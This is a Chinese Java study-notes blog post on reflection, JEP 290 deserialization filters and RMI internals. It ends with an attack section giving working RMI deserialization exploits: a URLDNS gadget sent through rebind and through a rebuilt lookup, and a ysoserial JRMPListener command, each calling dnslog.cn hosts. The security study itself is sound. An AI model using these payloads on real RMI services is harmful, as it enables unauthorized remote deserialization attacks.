Java学习笔记②

news2024/12/24 21:52:56

java反射

值的修改

public等属性的值的修改很简单。但privatefinal的值修改有改变。

比如修改下类的4个属性。

class privateClass {
    private String privateField = "private value";
    private final String finalPrivateField = "final private value";
    private static String staticPrivateField = "static private value";
    private static final String finalStaticPrivateField = "final static private value";

    public String getPrivateField() {
        return privateField;
    }

    public String getFinalPrivateField() {
        return finalPrivateField;
    }

    public static String getStaticPrivateField() {
        return staticPrivateField;
    }

    public static String getFinalStaticPrivateField() {
        return finalStaticPrivateField;
    }
}

private

Field privateField = cls.getDeclaredField("privateField");
privateField.setAccessible(true);
privateField.set(obj, "changed private value");
System.out.println(obj.getPrivateField());

修改private属性的值需要setAccessible(true)

final

Field finalPrivateField = cls.getDeclaredField("finalPrivateField");
finalPrivateField.setAccessible(true);

Field modifiers = Field.class.getDeclaredField("modifiers");
modifiers.setAccessible(true);
newModifiers = finalPrivateField.getModifiers() & ~Modifier.FINAL;
modifiers.setInt(finalPrivateField, newModifiers);

finalPrivateField.set(obj, "changed final private value");
System.out.println(finalPrivateField.get(obj));
System.out.println(obj.getFinalPrivateField());

final的值无法直接修改,可以通过modifiers清除该属性的final关键字,然后再赋值。

上例中的输出如下

finalPrivateField.get(obj) --> changed final private value
obj.getFinalPrivateField() --> final private value

getFinalPrivateField的结果没有改变,这其实是编译器的锅。因为其设置为final,编译器优化getFinalPrivateField的代码为

public String getFinalPrivateField() {
    return "final private value";
}

所以输出不变。

static

Field staticPrivateField = cls.getDeclaredField("staticPrivateField");
staticPrivateField.setAccessible(true);
staticPrivateField.set(null, "changed static private value");
System.out.println(privateClass.getStaticPrivateField());

static可以直接改,实例改为null

ObjectInputStream

本文参照以下网址学习:

  1. Java 反序列化之 readObject 分析 :https://blog.kaibro.tw/2020/02/23/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BreadObject%E5%88%86%E6%9E%90/

filterCheck

filterCheck是在 JEP290 实现的一种防御机制。用于反序列化时,利用过滤器对反序列化类型进行过滤。

当一个类反序列化时,会进入这里对类利用自定义的过滤器进行检查。

我们这里使用以下代码进行测试:

import sun.misc.ObjectInputFilter;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.PrivilegedAction;
import java.util.HashMap;

public class test {
    public static void main(String[] args) throws Exception {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        HashMap<String, String> hm = new HashMap<String, String>();
        hm.put("name", "afkl");

        ObjectOutputStream oos = new ObjectOutputStream(baos);
        oos.writeObject(hm);
        oos.flush();
        oos.close();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        ObjectInputStream ois = new ObjectInputStream(bais);

        // 利用特权模式指定对应ObjectInputStream对象的Filter
        java.security.AccessController.doPrivileged((PrivilegedAction<Void>) () -> {
            ObjectInputFilter.Config.setObjectInputFilter(ois, filter::testFilter);
            return null;
        });

        Object obj = ois.readObject();
        System.out.println(obj.toString());
    }

    static class filter {
        public static ObjectInputFilter.Status testFilter(ObjectInputFilter.FilterInfo filterInfo) {
            // 获取传入的Class类型
            Class<?>  cls = filterInfo.serialClass();

            // 对传入的Class类型进行检查
            if (cls == HashMap.class) {
                System.out.println("wow");
                return ObjectInputFilter.Status.REJECTED;
            }
            return ObjectInputFilter.Status.ALLOWED;
        }
    }
}

/*
输出:
wow
七月 22, 2021 11:25:29 下午 java.io.ObjectInputStream filterCheck
INFO: ObjectInputFilter REJECTED: class java.util.HashMap, array length: -1, nRefs: 1, depth: 1, bytes: 61, ex: n/a
Exception in thread "main" java.io.InvalidClassException: filter status: REJECTED
    at java.io.ObjectInputStream.filterCheck(ObjectInputStream.java:1452)
    at java.io.ObjectInputStream.readNonProxyDesc(ObjectInputStream.java:2117)
    at java.io.ObjectInputStream.readClassDesc(ObjectInputStream.java:1971)
    at java.io.ObjectInputStream.readOrdinaryObject(ObjectInputStream.java:2281)
    at java.io.ObjectInputStream.readObject0(ObjectInputStream.java:1788)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:586)
    at java.io.ObjectInputStream.readObject(ObjectInputStream.java:496)
    at test.main(test.java:30)
*/

ObjectInputFilter.Status 一共有三种类型

enum Status {
    UNDECIDED, // 不确定,但不会报错打断执行
    ALLOWED, // 通过
    REJECTED; // 不通过,会报错打断当前的反序列化
}

在调用特权模式时,调用栈如下:

setInternalObjectInputFilter:1417, ObjectInputStream (java.io)
access$000:222, ObjectInputStream (java.io)
setObjectInputFilter:295, ObjectInputStream$1 (java.io)
setObjectInputFilter:298, ObjectInputFilter$Config (sun.misc)
lambda$main$0:26, test
run:-1, 000000000000000000 (test$$Lambda$4)
doPrivileged:678, AccessController (java.security)
main:25, test

首先进入ObjectInputFilter$ConfigsetObjectInputFilter方法。

public static void setObjectInputFilter(ObjectInputStream inputStream, ObjectInputFilter filter) {
    Objects.requireNonNull(inputStream, "inputStream");
    sun.misc.SharedSecrets.getJavaOISAccess().setObjectInputFilter(inputStream, filter);
}

getJavaOISAccess里取出了ObjectInputStream在静态代码块定义的一个匿名对象。

随后进入该匿名对象的setObjectInputFilter方法。再次调用实例的setInternalObjectInputFilter方法

最后为serialFilter赋值。

RMI

rmi架构

Client

public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.getRegistry(9999);
            // 这里reg获取的是RegistryImpl_Stub对象
            Object obj = reg.lookup("calc");
            System.out.println(obj.toString());

            calcImpl calc = (calcImpl) obj;
            calc.add(1, 1);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Clientlookupbindrebind等操作均在RegistryImpl_Stub类内定义。这些操作都是使用opnum来进行识别。如下展示的lookup流程(仅展示部分重要代码)

// 创建一个新的远程通信,重要的是那个2,2是lookup流程的操作数(opnum)
StreamRemoteCall call = (StreamRemoteCall)ref.newCall(this, operations, 2, interfaceHash);

try {
    // 获取输出流,并写入string来获取希望的对象。
    java.io.ObjectOutput out = call.getOutputStream();
    out.writeObject($param_String_1);
} catch (java.io.IOException e) {
    throw new java.rmi.MarshalException("error marshalling arguments", e);
}

ref.invoke(call); // 其内部调用 call.executeCall 执行一次远程通信
java.rmi.Remote $result;

try {
    // 获取输入流,并反序列化输入流
    java.io.ObjectInput in = call.getInputStream();
    $result = (java.rmi.Remote) in.readObject();
} catch (ClassCastException | IOException | ClassNotFoundException e) {
    call.discardPendingRefs();
    throw new java.rmi.UnmarshalException("error unmarshalling return", e);
} finally {
    ref.done(call); // 释放远程通信
}

return $result;

其它的操作大体相同,大致流程都为:

根据操作数获取远程通信->序列化并发送操作需要的参数->获得回复并处理->释放远程通信

上例获取的obj是一个动态代理对象,获取的obj是一个动态代理对象,其处理器为RemoteObjectInvocationHandlercalcobj转换成对应接口的对象。假设calc调用接口中对应的方法,因为其实际为代理类,所以会调用到RemoteObjectInvocationHandlerinvoke方法中。

public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
    if (! Proxy.isProxyClass(proxy.getClass())) {
        throw new IllegalArgumentException("not a proxy"); // 是否是代理类
    }

    if (Proxy.getInvocationHandler(proxy) != this) {
        throw new IllegalArgumentException("handler mismatch"); // 是否实现InvocationHandler接口
    }

    if (method.getDeclaringClass() == Object.class) { // 调用的方法的声明在Object里的话
        return invokeObjectMethod(proxy, method, args); // 直接去调用Object类里的方法
    } else if (
        "finalize".equals(method.getName()) && 
        method.getParameterCount() == 0 && 
        !allowFinalizeInvocation) 
    {
        return null; // ignore
    } else {
        return invokeRemoteMethod(proxy, method, args); // 其它情况调用远程对象
    }
}

跟进至invokeRemoteMethod,其主要代码如下图:

开始会检测对应的代理对象是否是Remote的实例,其中Remote是一个空的接口。如果proxy不是Remote的实例,即没有实现Remote接口的话,便会抛出报错。代理对象是Remote的实例有两种情况(可能更多)。

// 1. 接口直接继承Remote接口
interface testImpl extends Remote {
    public int add(int a, int b);
}

// 2. 接口的实现类同时继承Remote接口
class testImplHandler1 implements testImpl, Remote {
    @Override
    public int add(int a, int b) {
        return a + b;
    }
}

第二个是查看对应方法的声明类是否是Remote的超类。不是的话直接抛错。

最后调用ref.invoke,其中refUnicastRef类的实例。其对应的重要代码如下:

{...}

Connection conn = ref.getChannel().newConnection(); // 获取TCP链接
RemoteCall call = null;
boolean reuse = true;

{...}

call = new StreamRemoteCall(conn, ref.getObjID(), -1, opnum); // 获取以流为基础的远程通信

{...}

ObjectOutput out = call.getOutputStream(); // 获取输出流
marshalCustomCallData(out); // 空方法

// 获取调用方法的参数的类型
Class<?>[] types = method.getParameterTypes();
for (int i = 0; i < types.length; i++) {
    marshalValue(types[i], params[i], out); // 序列化对应值
}

{...}

call.executeCall(); // 执行远程调用

{...}

Class<?> rtype = method.getReturnType(); // 获取方法的返回值

if (rtype == void.class) // void返回null
    return null;

ObjectInput in = call.getInputStream(); // 获取输入流

Object returnValue = unmarshalValue(rtype, in); // 反序列化远程调用返回的序列化值

{...}

ref.getChannel().free(conn, true); // 释放TCP链接

{...}

return returnValue;

Server & Registery

import calc.calcRemote; // 一个普通的类实现

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.createRegistry(9999);
            // 这里reg获取到的是RegistryImpl对象
            reg.bind("calc", new calcRemote());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

当收到Client的请求时,Server会调用RegistryImpl_Skeldispatch方法。通过魔数来switch选择调用方法。

public void dispatch(java.rmi.Remote obj, java.rmi.server.RemoteCall remoteCall, int opnum, long hash)
            throws java.lang.Exception {
        if (opnum < 0) {...} else {...}

        sun.rmi.registry.RegistryImpl server = (sun.rmi.registry.RegistryImpl) obj;
        StreamRemoteCall call = (StreamRemoteCall) remoteCall;
        switch (opnum) {
            case 0: // bind(String, Remote)
            {...}

            case 1: // list()
            {...}

            case 2: // lookup(String)
            {...}

            case 3: // rebind(String, Remote)
            {...}

            case 4: // unbind(String)
            {..}

            default:
                throw new java.rmi.UnmarshalException("invalid method number");
        }
    }

对于lookup请求,服务器最后会调用至UnicastServerRefdispatch方法。

较为重要的代码片段如下。

MarshalInputStream marshalStream = (MarshalInputStream) in; // 获取输入流
marshalStream.skipDefaultResolveClass();

Method method = hashToMethod_Map.get(op); // 通过hash在hashmap中获取方法
if (method == null) { // 没有对应方法就报错
    throw new UnmarshalException("unrecognized method hash: " +
                                 "method not supported by remote object");
}

// unmarshal parameters
Object[] params = null;
try {
    unmarshalCustomCallData(in);
    // 反序列化参数,调用 UnicastRef::unmarshalValue 方法
    params = unmarshalParameters(obj, method, marshalStream);
} catch (Exception e) {
   // ...
} finally {
    call.releaseInputStream(); // 释放连接
}

// make upcall on remote object
Object result;
try {
    result = method.invoke(obj, params); // 调用对应的方法
} catch (InvocationTargetException e) {
    throw e.getTargetException();
}

// marshal return value
try {
    ObjectOutput out = call.getResultStream(true);
    Class<?> rtype = method.getReturnType();
    if (rtype != void.class) {
        marshalValue(rtype, result, out); // 序列化调用结果
    }
} catch (IOException ex) {
    // ...
} finally {
    call.releaseInputStream(); // in case skeleton doesn't
    call.releaseOutputStream();
}

marshalValueunmarshalValue会分别进行序列化和反序列化。这两个方法在客户端和服务端都会出现。

攻击方法

jdk-8u121以下版本

Server 攻击 注册中心

注册中心代码如下

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.createRegistry(9999);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Server

import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.HashMap;
import java.util.Map;

public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.getRegistry(9999);
            Remote obj = getEvilCalc();

            // rebind或者bind 触发反序列化
            reg.rebind("calc", obj);

            System.out.println("ok");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    private static Remote getEvilCalc() throws Exception {

        // ----URLDNS gadget----
        String url = "http://9ragt0.dnslog.cn";
        URLStreamHandler ush = new SilentURLStreamHandler();
        HashMap ht = new HashMap();
        URL u = new URL(null, url, ush);
        ht.put(u, url);

        Class<?> cls = u.getClass();
        Field hc = cls.getDeclaredField("hashCode");
        hc.setAccessible(true);
        hc.setInt(u, -1);
        // ----URLDNS gadget----

        // 利用jdk原生代理使payload对象动态实现Remote接口
        InvocationHandlerImpl handler = new InvocationHandlerImpl(ht);
        Remote exp = (Remote)Proxy.newProxyInstance(
                handler.getClass().getClassLoader(),
                new Class[]{Remote.class},
                handler
        );

        return exp;
    }

    static class SilentURLStreamHandler extends URLStreamHandler {

        protected URLConnection openConnection(URL u) throws IOException {
            return null;
        }

        protected synchronized InetAddress getHostAddress(URL u) {
            return null;
        }
    }

    static class InvocationHandlerImpl implements InvocationHandler, Serializable {
        protected Map map;

        public InvocationHandlerImpl(Map map) {
            this.map = map;
        }

        public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
            return null;
        }
    }
}
客户端 攻击 注册中心

在低版本中,注册中心的lookup方法使用了readObject。所以client可以通过lookup攻击注册中心。

因为通过LocateRegistry.getRegistry方法得到的RegistryImpl_Stub对象的lookup方法只支持传入字符串。所以这里重新实现lookup方法传入恶意对象。

攻击代码如下

public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.getRegistry(9999);
            CAttackR.CustomCallRegistry(reg, getEvilObject("http://d2iutj.dnslog.cn"));
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static Remote getEvilObject(String url) throws Exception {
        // URLDNS payload
    }
}
public class CAttackR {
    public static void CustomCallRegistry(Registry reg_stub, Object evilObj) throws Exception {
        //===获取一些常量方便下面的调用===
        Field FieldRef = reg_stub.getClass().getSuperclass().getSuperclass().getDeclaredField("ref");
        FieldRef.setAccessible(true);
        UnicastRef ref = (UnicastRef)FieldRef.get(reg_stub);

        Field FieldOperations = reg_stub.getClass().getDeclaredField("operations");
        FieldOperations.setAccessible(true);
        Operation[] operations = (Operation[])FieldOperations.get(reg_stub);
        //===获取一些常量方便下面的调用===

        // 模拟lookup过程
        StreamRemoteCall call = (StreamRemoteCall)ref.newCall(
            (RemoteObject) reg_stub, 
            operations, 
            2, 
            4905912898345647071L
        );
        java.io.ObjectOutput out = call.getOutputStream();
        out.writeObject(evilObj);
        ref.invoke(call);
    }
}

在高版本中,lookupreadObject替换为readString。上面的方法就用不了了。

客户端 与 服务器 的相互攻击

因为marshalValueunmarshalValue两个方法的都会在clientServer中调用。所以两者之间是可以相互攻击的。

当然,这种攻击对两者之间共同使用的接口有很大关系。

  • 对于C攻击S,需要远程接口的一个方法含有Object类型的参数。
  • 对于S攻击C,需要远程接口的返回值为Object类型。
注册中心 攻击 服务器 和 客户端

使用yso启动一个JRMP的恶意服务器。只要C或者S获取此服务器的注册中心,并执行rmi的动作(list / unbind / lookup / rebind / bind)就会被反序列化攻击。

java.exe -cp yso.jar ysoserial.exploit.JRMPListener 7777 URLDNS "http://jb7uvs.dnslog.cn"
* Opening JRMP listener on 7777
Have connection from /169.254.17.51:3916
Reading message...
Sending return with payload for obj [0:0:0, 0]
Closing connection
public class RMIClient {
    public static void main(String[] args) {
        try {
            Registry reg = LocateRegistry.getRegistry(7777);
            calcInterface obj = (calcInterface) reg.lookup("calc");
            obj.add(1, 2);
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1040305.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言每日一题(9):跳水比赛猜名次

文章主题&#xff1a;跳水比赛猜名次&#x1f525;所属专栏&#xff1a;C语言每日一题&#x1f4d7;作者简介&#xff1a;每天不定时更新C语言的小白一枚&#xff0c;记录分享自己每天的所思所想&#x1f604;&#x1f3b6;个人主页&#xff1a;[₽]的个人主页&#x1f3c4;&am…

飞书与企业微信的异同

云文档 飞书的云文档会自动用游览器打开&#xff0c;不会直接在PC应用中打开&#xff08;移动端能在应用中打开&#xff09;。 飞书云文档能够插入视频、流程图、问卷等等 聊天消息交互 钉钉也有类似的功能&#xff0c;可以针对消息进行点赞等回复 钉钉的消息回复还有【收到…

触觉智能 PurPle Pi OH(OpenHarmony)开发板

资料汇总 内容预览 产品介绍 PurPle-Pi OH 规格书​​​​​​ 系统编译 Purple-Pi-OH Linux SDK编译 Purple-Pi-OH OHOS SDK编译 使用手册 Purple-Pi-OH Ubuntu系统使用手册 常见FAQ 常见问题 官网 官网地址 Purple Pi OH介绍 Purple Pi OH作为一款兼容树莓派的开…

Springcloud实战之自研分布式id生成器

一&#xff0c;背景 日常开发中&#xff0c;我们需要对系统中的各种数据使用 ID 唯一表示&#xff0c;比如用户 ID 对应且仅对应一个人&#xff0c;商品 ID 对应且仅对应一件商品&#xff0c;订单 ID 对应且仅对应 一个订单。我们现实生活中也有各种 ID &#xff0c;比如身…

【并联有源电力滤波器】基于pq理论的并联有源电力滤波器(Simulink)

&#x1f4a5;&#x1f4a5;&#x1f49e;&#x1f49e;欢迎来到本博客❤️❤️&#x1f4a5;&#x1f4a5; &#x1f3c6;博主优势&#xff1a;&#x1f31e;&#x1f31e;&#x1f31e;博客内容尽量做到思维缜密&#xff0c;逻辑清晰&#xff0c;为了方便读者。 ⛳️座右铭&a…

顾曼宁(顾曼)参加蚂蚁生态全球CEO大会:相信的力量,共筑未来

今天,2023年9月15日,在湖州太湖,蚂蚁生态全球的CEO们举行了一场引人注目的盛会。 时隔三年,这些顶尖的商业领袖们再次齐聚一堂,分享智慧、交流想法,这是一个充满激情和共鸣的时刻,也是一次充满感慨和思考的聚会。 在这场盛会中,顾曼宁(顾曼)特别感谢了蚂蚁集团董事长Eric的精彩…

51单片机自行车码表 速度里程计霍尔测速模拟电机设计

一、系统方案 本设计采用51单片机作为主控器&#xff0c;霍尔测速&#xff0c;数码管显示速度及里程数。 二、硬件设计 原理图如下&#xff1a; 三、单片机软件设计 1、首先是系统初始化 void init() { IT01; //INT0负跳变触发 TMOD0x01;//定时器工作于方式1 TH00x3c; //5…

[Unity开发小技巧]快速切换打包平台

如果大家有什么需要实现的功能,可以加入我的知识星球向我提问,我会尽量实现并提供解答,也可以加入我的开发交流群进行交流 视频地址:Unity快速切换平台的解决方案知识星球地址:[Unity开发小技巧]快速切换打包平台 今天给大家分享的是一个开发小技巧,在开发多个端的项目…

字节8年经验之谈 —— Jmeter自动化性能测试常见问题!

一、request 请求超时设置 timeout 超时时间是可以手动设置的&#xff0c;新建一个 http 请求&#xff0c;在“高级”设置中找到“超时”设置&#xff0c;设置连接、响应时间为2000ms。 1. 请求连接超时&#xff0c;连不上服务器。 现象&#xff1a; Jmeter表现形式为&#x…

Chrome更新

前端开发在调试过程中&#xff0c;经常需要各种不同的数据来反复调试&#xff0c;所以我们前端程序员会经常在脚手架中集成 mock 或者通过代理的方式去hack的实现&#xff0c;但是现在再也不用这么麻烦了&#xff0c;Chrome 117 原生就支持了&#xff0c;而且体验相当丝滑。 他…

优维产品最佳实践:主机合规性检查

我们常常会感到这样的困惑&#xff0c;为什么这么多的无效主机记录&#xff0c;为什么这些主机很多信息空白&#xff0c;当许多人一起维护主机信息时&#xff0c;常常会出现信息错漏的情况。主机是运维最重要最基本的CMDB信息&#xff0c;而「合规性检查」为我们提供了更高效便…

【Ubuntu18.04】Autoware.ai安装

Autoware.ai安装 引言1 ROS安装2 Ubuntu18.04安装Qt5.14.23 安装GCC、G4 Autoware.ai-1.14.0安装与编译4.1 源码的编译4.1.1 python2.7环境4.1,2 针对Ubuntu 18.04 / Melodic的依赖包安装4.1.3 先安装一些缺的ros依赖4.1.4 安装eigen3.3.74.1.5 安装opencv 3.4.164.1.6 编译 4.…

crypto:看我回旋踢

题目 下载压缩包后解压可得到提示文本 经过观察&#xff0c;synt{}这个提示与flag{}形式很像 由题目名中的回旋可以推测为凯撒密码&#xff0c;由凯撒密码的定义可知&#xff0c;需要先推出移位数&#xff0c;s->f数13次&#xff0c;因此移位数为13&#xff0c;解码可得

uniapp ssr发行后一直Hydration completed but contains mismatches Cannot find module

最开始我用前端网页托管的地址访问一直是 Hydration completed but contains mismatches 解决方案 要从云函数的地址访问项目。 先绑定域名&#xff0c;否则用uniapp自带地址访问一直是下载文件 设置路径 最后效果 uniapp ssr 云函数访问 MODULE_NOT_FOUND:Cannot fin…

浅谈! 几种 SpringBoot/SpringCloud 开源项目

简介 SpringBoot 是一个非常流行的 Java 框架&#xff0c;它可以帮助开发者快速构建应用程序。他不仅继承了 Spring 框架原有的优秀特性&#xff0c;而且还通过简化配置来进一步简化了 Spring 应用的整个搭建和开发过程。 最近&#xff0c;小编蹲点各大开源网站、社区等&…

什么是Jmeter ?Jmeter使用的原理步骤是什么?

1.1 什么是 JMeter Apache JMeter 是 Apache 组织开发的基于 Java 的压力测试工具。用于对软件做压力测试&#xff0c;它最初被设计用于 Web 应用测试&#xff0c;但后来扩展到其他测试领域。 它可以用于测试静态和动态资源&#xff0c;例如静态文件、Java 小服务程序、CGI 脚…

实现爬虫加速的可实现办法

网络爬虫在数据采集和信息监测中发挥着重要作用。然而&#xff0c;由于网络环境复杂和大量数据需求&#xff0c;爬虫速度可能面临挑战。本文将为您分享一些实现爬虫加速的可行方法&#xff0c;帮助您让爬虫快如闪电&#xff01;让我们一起探索吧&#xff01; 一、多线程并发请…

Linux查看哪些进程占用的系统 buffer/cache 较高 (hcache,lsof)命令

1、什么是buffer/cache &#xff1f; buffer/cache 其实是作为服务器系统的文件数据缓存使用的&#xff0c;尤其是针对进程对文件存在 read/write 操作的时候&#xff0c;所以当你的服务进程在对文件进行读写的时候&#xff0c;Linux内核为了提高服务的读写速度&#xff0c;则将…

​旅行季《乡村振兴战略下传统村落文化旅游设计》许少辉八一新著想象和世界一样宽广

​旅行季《乡村振兴战略下传统村落文化旅游设计》许少辉八一新著想象和世界一样宽广

微信如何一次自动回复多条信息?

微信已经成为了我们在工作中不可或缺的通讯工具&#xff0c;但是由于微信平台并没有开放自动回复和快捷回复等方便的功能&#xff0c;一旦咨询大量增加&#xff0c;就会出现回复不及时的情况。这会对客户的满意度造成影响&#xff0c;降低客户转化率&#xff0c;甚至导致客户流…